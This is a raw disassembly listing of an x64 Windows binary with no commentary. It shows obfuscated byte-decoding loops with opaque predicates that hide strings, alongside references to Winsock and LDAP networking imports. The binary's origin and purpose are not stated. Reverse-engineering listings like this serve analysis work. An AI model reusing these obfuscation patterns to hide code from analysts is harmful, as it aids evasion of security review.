mov dword [rsp + 0x50], 0
mov dword [rsp + 0x54], 0
lea r9, [rsp + 0x50]
xor r8d, r8d
mov rcx, qword [rsi]
call fcn.14003e340
test al, al
je 0x14007ca03
mov dword [r14], ebx
cmp edi, ebx
jne 0x14007ca10
call fcn.1400149e0
inc ebx
add rsi, 8
cmp ebx, 4
jl 0x14007c9d0
call fcn.140018c70
mov byte [rbp + 0xc00], Ordinal_211
mov byte [rbp + 0xc01], reloc.WS2_32.dll_select
mov byte [rbp + 0xc02], 0xdf
mov byte [rbp + 0xc03], 0xdc
mov byte [rbp + 0xc04], 0xba
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xc05], xmm0
mov qword [rbp + 0xc15], rax
mov dword [rbp + 0xc1d], eax
mov word [rbp + 0xc21], ax
movabs rsi, 0x62b009dd22381663
movabs r13, 0x41a6dbe5f5706297
movabs r14, 0xa59965dc440587fd
movabs r12, 0x224bae105924c2cf
movzx r11d, byte [rsp + 0x40]
nop dword [rax]
nop word [rax + rax]
mov r8, qword [0x14023d108]
mov r9, qword [0x14023d100]
nop
xor edi, edi
cmp rdi, 0x23
jae 0x14007d8e3
movzx ebx, byte [rbp + rdi + 0xc00]
mov r10, rbx
cmp r8, rdi
ja 0x14007d8d7
lea rax, [r9 + 1]
cmp r8, rax
jae 0x14007caf3
lea rcx, [rdi + r13]
mov rax, rcx
and rax, rbx
imul r11, rax, 0xfffffffffffffffe
add r11, rcx
add r11, rbx
sub r11b, 0x21
jmp 0x14007cb30
je 0x14007d84f
inc rax
cmp r8, rax
je 0x14007d7e0
lea rax, [r9 + 2]
cmp r8, rax
je 0x14007d78f
lea rax, [r9 + 3]
cmp r8, rax
je 0x14007d75b
lea rax, [r9 + 5]
cmp r8, rax
je 0x14007d725
nop dword [rax]
cmp r9, rdi
ja 0x14007d8cb
lea rax, [r9 + 0x61]
cmp r8, rax
jae 0x14007cb5d
lea rdx, [rdi + rsi]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
add r11b, 0x4b
add r11b, dl
jmp 0x14007cba0
lea rax, [r9 + 1]
cmp r8, rax
je 0x14007d6d3
inc rax
cmp r8, rax
je 0x14007d6aa
lea rax, [r9 + 4]
cmp r8, rax
je 0x14007d677
lea rax, [r9 + 7]
cmp r8, rax
je 0x14007d650
lea rax, [r9 + 6]
cmp r8, rax
je 0x14007d61c
nop dword [rax]
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x14007d1e0
nop dword [rax]
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x14007d1bc
lea rax, [r9 + 9]
cmp r8, rax
je 0x14007d190
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x14007d162
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x14007d140
lea rax, [r9 + 6]
cmp r8, rax
je 0x14007d10a
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x14007d0d7
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x14007d0af
lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x14007d08a
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x14007cbb0
lea r8, [r9 + 4]
lea r9, [r8 + 0x3e8]
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x14007d8a8
lea rax, [r9 + 9]
cmp r8, rax
jb 0x14007d885
lea rax, [r9 + 2]
cmp r8, rax
jb 0x14007cd99
lea rax, [r9 + 0x28]
cmp r8, rax
jb 0x14007cd7b
lea rax, [r9 + 6]
cmp r8, rax
jb 0x14007cd5d
lea rax, [r9 + 0x80]
cmp r8, rax
jb 0x14007d02a
lea rax, [r9 + 0x10]
cmp r8, rax
jb 0x14007cfc9
lea rax, [r9 + 0x1000]
cmp r8, rax
jb 0x14007cf80
lea rax, [r9 + 0x42]
cmp r8, rax
jb 0x14007cf52
lea rax, [r9 + 0x5a]
cmp r8, rax
jb 0x14007cbb0
lea r8, [r9 + 0x40]
lea r9, [r8 + 0x3e8]
lea rax, [r9 + 0x41]
cmp r8, rax
ja 0x14007cf19
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x14007cef4
lea rax, [r9 + 2]
cmp r8, rax
ja 0x14007cecd
lea rax, [r9 + 0x61]
cmp r8, rax
ja 0x14007ce9a
lea rax, [r9 + 6]
cmp r8, rax
ja 0x14007ce5f
lea rax, [r9 + 0x2a]
cmp r8, rax
ja 0x14007ce3d
lea rax, [r9 + 0x10]
cmp r8, rax
ja 0x14007ce14
lea rax, [r9 + 4]
cmp r8, rax
ja 0x14007cde8
lea rax, [r9 + 0x42]
cmp r8, rax
ja 0x14007cdc0
lea rax, [r9 + 9]
cmp r8, rax
ja 0x14007cbb0
lea r8, [r9 + 0x40]
lea r9, [r8 + 0x3e8]
jmp 0x14007cbb0
lea rdx, [rdi + r14]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
add r11b, 0x15
add r11b, dl
jmp 0x14007cba0
lea rdx, [rdi + r12]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
add r11b, 0x57
add r11b, dl
jmp 0x14007cb30
movabs rdx, 0x9efdf6446e43fda1
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x67
add r11b, dl
jmp 0x14007cac4
movabs rdx, 0x15804ee911c0b318
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14007d6f5
movabs rcx, 0x9232971d26dfedea
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x66
inc r9
dec rdi
inc rdi
jmp 0x14007cab2
movabs rcx, 0xee4df513bff28bc
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x24
dec rdi
inc rdi
jmp 0x14007cab2
movabs rdx, 0x8b972785511e638e
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea r11d, [rcx + rcx]
jmp 0x14007d5a6
movabs rdx, 0x8496fb9663d9e60
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
add r8, r9
movzx eax, r11b
mov rcx, r15
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14007cab2
movabs rcx, 0x84fbb7ed7b5cd932
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x5e
movzx eax, r11b
mov rcx, r15
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14007cab2
movabs rdx, 0x1ae0021907c1404
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x1c
add r11b, dl
jmp 0x14007d7b0
movabs rdx, 0x7e604855a59b4ed6
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_send
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x14007d804
movabs rdx, 0xfb129089baba89a8
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 0x34
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movzx eax, byte [rbp + rdi + 0xc00]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14007cab2
movabs rcx, 0xb2d0450bef889cb5
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
add r11b, 0xd
mov byte [rbp + rdi + 0xc00], r11b
inc rdi
jmp 0x14007cab2
movabs rcx, 0x2f828d4004a7d787
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x4f
cmp r9, 6
jb 0x14007cf70
movabs rcx, 0x287b9d9fcac7482a
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
add cl, bl
lea r11d, [rcx*2 - 0x4c]
jmp 0x14007d6f5
movabs rdx, 0xac34d57419c71259
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x6f
add r11b, dl
cmp r8, 6
jae 0x14007d582
lea rax, [r9 + 0x20]
cmp r8, rax
jbe 0x14007d402
movabs rdx, 0x7726fa89dff945e
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x14007cf9e
movabs rdx, 0x28e71da82ee64d2b
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x2d
add r11b, dl
lea rax, [r9 + r8]
cmp rax, 6
je 0x14007d5ec
lea rax, [r9 + 0x20]
cmp r8, rax
jbe 0x14007d2e9
movabs rcx, 0xa4c265cb7bc77dfb
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x23
jmp 0x14007cfeb
movabs rdx, 0xccd28362e26fc124
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 2
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x14007d804
movabs rdx, 0x4984cb96f78efbf6
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_35
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x14007d7b0
movabs rcx, 0xc63713cb0cae36c8
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x78
movzx eax, r11b
mov rcx, r15
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14007cab2
movabs rcx, 0x42e95bff21cd719a
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x36
add r8, r9
movzx eax, r11b
mov rcx, r15
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14007cab2
movabs rdx, 0xbf9ba43336ecac6c
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 6
sub cl, al
lea r11d, [rcx + rcx]
jmp 0x14007d5a6
movabs rdx, 0x3c4dec674c0be73e
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
dec rdi
inc rdi
jmp 0x14007cab2
movabs rcx, 0xb900349b612b2210
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x70
inc r9
dec rdi
inc rdi
jmp 0x14007cab2
movabs rdx, 0x35b27ccf764a5ce2
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x2e
jmp 0x14007d6f2
lea rax, [r9 + 0x80]
cmp r8, rax
jae 0x14007d207
lea rdx, [rdi + r13]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x21
jmp 0x14007d049
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14007d244
movabs rcx, 0xc56013ba44702cc6
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x6a
movzx eax, byte [rbp + rdi + 0xc00]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14007cab2
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14007d283
movabs rcx, 0xd296f2e9eff3417e
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x72
add r8, r9
movzx eax, r11b
mov rcx, r15
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14007cab2
lea rax, [r9 + 6]
cmp r8, rax
jne 0x14007d2ae
movabs rdx, 0x55e4aab5dad406ac
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
jmp 0x14007d5a6
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14007d04c
movabs rdx, 0xd9326281c5b4cbda
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 5
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
dec rdi
inc rdi
jmp 0x14007cab2
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14007d316
movabs rdx, 0x28101d9766a84329
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x1f
jmp 0x14007d6f2
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14007d355
movabs rcx, 0x3546fcc7122b57e1
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x27
add r8, r9
movzx eax, r11b
mov rcx, r15
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14007cab2
lea rax, [r9 + 6]
cmp r8, rax
jne 0x14007d391
movabs rcx, 0xb894b492fd0c1d0f
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x69
movzx eax, r11b
mov rcx, r15
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14007cab2
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14007d3c1
movabs rdx, 0x3be26c5ee7ece23d
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
add r11b, 0x55
add r11b, dl
jmp 0x14007d7b0
lea rax, [r9 + 8]
cmp r8, rax
jne 0x14007cfeb
movabs rcx, 0x427ddbf6bdae6c99
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x2f
movzx eax, byte [rbp + rdi + 0xc00]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14007cab2
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14007d444
movabs rdx, 0x8ac0277488e0598c
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movzx eax, byte [rbp + rdi + 0xc00]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14007cab2
inc rax
cmp r8, rax
jne 0x14007d473
movabs rdx, 0x915b970c5ea1e3e8
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x58
add r11b, dl
jmp 0x14007d7b0
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14007d4b7
movabs rdx, 0x97f706a434636e44
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
add r8, r9
movzx eax, r11b
mov rcx, r15
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14007cab2
lea rax, [r9 + 6]
cmp r8, rax
jne 0x14007d4e4
movabs rdx, 0x1b44be701f443372
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x1e
jmp 0x14007d5a9
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14007d516
movabs rcx, 0x9e92763c0a24f8a0
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x60
dec rdi
inc rdi
jmp 0x14007cab2
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14007d550
movabs rdx, 0x21e02e07f505bdce
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
inc r9
dec rdi
inc rdi
jmp 0x14007cab2
lea rax, [r9 + 8]
cmp r8, rax
jne 0x14007cf9e
movabs rdx, 0xa52de5d3dfe682fc
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x14007d6f2
movabs rdx, 0xabc9556bb5a80d58
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, byte [rbp + rdi + 0xc00]
sub r11b, al
sub r11b, 0x68
add r11b, bl
add r11b, dl
movabs rdx, 0xed703151ab186fef
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
add cl, 0x77
add cl, bl
add cl, dl
mov byte [rbp + rdi + 0xc00], cl
add r8, r9
movzx eax, r11b
mov rcx, r15
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14007cab2
movabs rdx, 0x2f170d37a088d286
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
sub r11b, byte [rbp + rdi + 0xc00]
add r11b, bl
add r11b, dl
jmp 0x14007d7b0
movabs rcx, 0x6b8008641f0501
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 7
movzx eax, byte [rbp + rdi + 0xc00]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14007cab2
movabs rdx, 0xf9d010708e5d7aa5
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
add r11b, 0x7d
add r11b, dl
jmp 0x14007d7b0
movabs rcx, 0x768258a4a37cb577
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x41
movzx eax, r11b
mov rcx, r15
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14007cab2
movabs rcx, 0xec993140e2da65ed
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x7b
dec rdi
inc rdi
jmp 0x14007cab2
movabs rdx, 0xe5fdc1a90d18db91
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
add r11b, 9
add r11b, dl
movabs rcx, 0x6a227985c037aac1
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
sub cl, 0x47
add cl, bl
mov byte [rbp + rdi + 0xc00], cl
inc r9
dec rdi
inc rdi
jmp 0x14007cab2
movabs rcx, 0xd22b72e18bd43c7d
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x6b
add r8, r9
movzx eax, r11b
mov rcx, r15
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14007cab2
movabs rcx, 0x4eddbb15a0f3774f
add rcx, rdi
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x29
movzx eax, r11b
mov rcx, r15
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14007cab2
mov rbx, r10
movabs rax, 0xcb900349b612b221
add rax, rdi
and r10b, al
add r10b, r10b
sub al, r10b
lea r11d, [rbx + rax]
add r11b, 0x19
movabs rcx, 0x70bde91d95f9351d
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
add cl, 0x35
add cl, bl
movzx eax, cl
mov byte [rbp + rdi + 0xc00], al
inc r9
add rax, r9
sub rdi, rax
jmp 0x14007d807
movabs rdx, 0x48424b7dcb31ecf3
add rdx, rdi
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
add r11b, 0x5b
movzx ebx, r10b
add r11b, dl
movabs rdx, 0xb264c5038b6997b4
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 0xa
sub cl, al
add cl, cl
add cl, dl
add cl, bl
mov byte [rbp + rdi + 0xc00], cl
inc r8
mov rax, r15
sub rax, r8
add rdi, rax
movzx eax, byte [rbp + rdi + 0xc00]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14007cab2
movabs rcx, 0xc4f493b1e05127c5
add rcx, rdi
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x63
movzx eax, byte [rbp + rdi + 0xc00]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14007cab2
movabs rcx, 0x1bb03e7883633873
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x25
jmp 0x14007cab0
movabs rcx, 0x986286ac98827345
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
add r11b, 0x1d
jmp 0x14007caa0
lea rsi, [rbp + 0x1424974]
jmp 0x14007d8ea
lea rsi, [rbp + 0x72ac0b]
jmp 0x14007d8ea
lea rsi, [rbp + 0xc00]
lea rdx, [0x140236d30]
lea rcx, [rbp + 0x540]
call fcn.140002660
mov rbx, rax
mov qword [rsp + 0x48], rax
mov r8, rax
lea rdx, [rbp + 0x120]
mov rcx, qword [0x14023cdc0]
call fcn.14006b920
mov rdi, qword [rax]
mov rcx, rbx
call fcn.140002800
cmp byte [rdi + 0x38], 0
jne 0x1400a3083
mov byte [rbp + 0xc28], 0xfb
mov byte [rbp + 0xc29], 0x90
mov byte [rbp + 0xc2a], __WSAFDIsSet
mov byte [rbp + 0xc2b], 0x90
mov byte [rbp + 0xc2c], __WSAFDIsSet
mov byte [rbp + 0xc2d], 0x99
mov byte [rbp + 0xc2e], 0x9f
mov byte [rbp + 0xc2f], __WSAFDIsSet
mov byte [rbp + 0xc30], 0x9f
mov byte [rbp + 0xc31], 5
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xc32], xmm0
mov qword [rbp + 0xc42], rax
mov byte [rbp + 0xc4a], al
movabs r14, 0xf91f7310668e40e
movabs r12, 0x5ade88be6760f1b2
movabs r13, 0x9656ba5836019f06
movzx r10d, byte [rsp + 0x40]
nop dword [rax]
nop word [rax + rax]
mov r8, qword [0x14023d108]
mov r9, qword [0x14023d100]
nop
xor ebx, ebx
movabs rcx, 0x6243e73318afa956
cmp rbx, 0x23
jae 0x14007e81e
movzx r11d, byte [rbp + rbx + 0xc28]
mov rdx, r11
cmp r8, rbx
ja 0x14007e812
lea rax, [r9 + 1]
cmp r8, rax
jae 0x14007da1d
add rcx, rbx
mov rax, rcx
and rax, rdx
imul r10, rax, 0xfffffffffffffffe
add r10, rcx
add r10, rdx
sub r10b, 0x5a
jmp 0x14007da50
je 0x14007e787
lea rax, [r9 + 2]
cmp r8, rax
je 0x14007e6e7
lea rax, [r9 + 3]
cmp r8, rax
je 0x14007e6b4
lea rax, [r9 + 5]
cmp r8, rax
je 0x14007e678
nop word [rax + rax]
cmp r9, rbx
ja 0x14007e809
lea rax, [r9 + 0xa]
cmp r8, rax
jae 0x14007da7a
lea rcx, [rbx + r14]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x62
jmp 0x14007dac0
lea rcx, [r9 + 1]
cmp r8, rcx
je 0x14007e627
lea rax, [r9 + 3]
cmp r8, rax
je 0x14007e5fd
lea rax, [rcx + 1]
cmp r8, rax
je 0x14007e5c4
lea rax, [r9 + 6]
cmp r8, rax
je 0x14007e59c
lea rax, [r9 + 8]
cmp r8, rax
je 0x14007e562
nop dword [rax + rax]
lea rax, [r8 + r9]
cmp rax, rbx
jbe 0x14007e187
nop dword [rax]
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x14007e15e
lea rax, [r9 + 5]
cmp r8, rax
je 0x14007e131
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x14007e106
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x14007e0e3
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x14007e0ac
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x14007e078
lea rax, [r9 + 1]
cmp r8, rax
je 0x14007e04f
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x14007e026
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x14007dff1
lea rax, [r9 + 0x64]
cmp r8, rax
je 0x14007dad0
mov r8, rax
lea r9, [rax + 6]
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x14007e7e4
lea rax, [r9 + 0x40]
cmp r8, rax
jb 0x14007e7bb
lea rax, [r9 + 4]
cmp r8, rax
jb 0x14007dcc0
lea rax, [r9 + 0x1000]
cmp r8, rax
jb 0x14007dca5
lea rax, [r9 + 2]
cmp r8, rax
jb 0x14007dc85
lea rax, [r9 + 0x3e8]
cmp r8, rax
jb 0x14007df89
lea rax, [r9 + 0xa]
cmp r8, rax
jb 0x14007df19
lea rax, [r9 + 0x2a]
cmp r8, rax
jb 0x14007dec5
lea rax, [r9 + 0x80]
cmp r8, rax
jb 0x14007de91
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x14007dad0
mov r8, rax
lea r9, [rax + 0x42]
lea rax, [r9 + 5]
cmp r8, rax
ja 0x14007de5b
lea rax, [r9 + 0x61]
cmp r8, rax
ja 0x14007de37
lea rax, [r9 + 0x28]
cmp r8, rax
ja 0x14007de0e
lea rax, [r9 + 3]
cmp r8, rax
ja 0x14007ddd5
lea rax, [r9 + 0x400]
cmp r8, rax
ja 0x14007dd9e
lea rax, [r9 + 1]
cmp r8, rax
ja 0x14007dd75
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x14007dd46
lea rax, [r9 + 9]
cmp r8, rax
ja 0x14007dd19
lea rax, [r9 + 0x5a]
cmp r8, rax
ja 0x14007dcf1
lea rax, [r9 + 6]
cmp r8, rax
ja 0x14007dad0
mov r8, rax
lea r9, [rax + 0x7a]
jmp 0x14007dad0
lea rdx, [rbx + r12]
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x14007dac0
lea rcx, [rbx + r13]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x2a
jmp 0x14007da50
movabs rdx, 0xd1ceebf204a24c5a
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub dl, 0x76
add r10b, dl
movabs rcx, 0x6243e73318afa956
jmp 0x14007d9ef
movabs rdx, 0x7c8fb98833472070
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x10
add r10b, dl
jmp 0x14007e646
movabs rcx, 0xb807eb2201e7cdc4
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x5c
inc r9
dec rbx
inc rbx
jmp 0x14007d9d2
movabs rdx, 0xf3801cbbd0887b18
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_45
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
dec rbx
inc rbx
jmp 0x14007d9d2
movabs rdx, 0x2ef84e559f29286c
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 6
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x14007e4ef
movabs rcx, 0x6a707fef6dc9d5c0
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x40
add r8, r9
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14007d9d2
movabs rdx, 0xa5e8b1893c6a8314
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14007d9d2
movabs rdx, 0xe160e3230b0b3068
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x14007e709
movabs rcx, 0x1cd914bcd9abddbc
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x24
jmp 0x14007e73d
movabs rcx, 0x58514656a84c8b10
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x70
movzx eax, byte [rbp + rbx + 0xc28]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14007d9d2
movabs rdx, 0x6cfdc2572cde3c62
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
mov byte [rbp + rbx + 0xc28], r10b
inc rbx
jmp 0x14007d9d2
movabs rdx, 0xa875f3f0fb7ee9b6
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 3
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
cmp r9, 0xa
jb 0x14007deb5
movabs rcx, 0x270e1e5bd5fd7844
add rcx, rbx
movzx eax, cl
and al, r11b
mov edx, reloc.WS2_32.dll_select
sub dl, al
add dl, dl
add dl, cl
add dl, r11b
lea r10d, [rdx + rdx]
jmp 0x14007e646
movabs rcx, 0xe3ee258aca1f970a
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x46
cmp r8, 1
jae 0x14007e4c3
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14007e40b
movabs rdx, 0x3e47dcc419a39038
add rdx, rbx
movzx eax, dl
and al, r11b
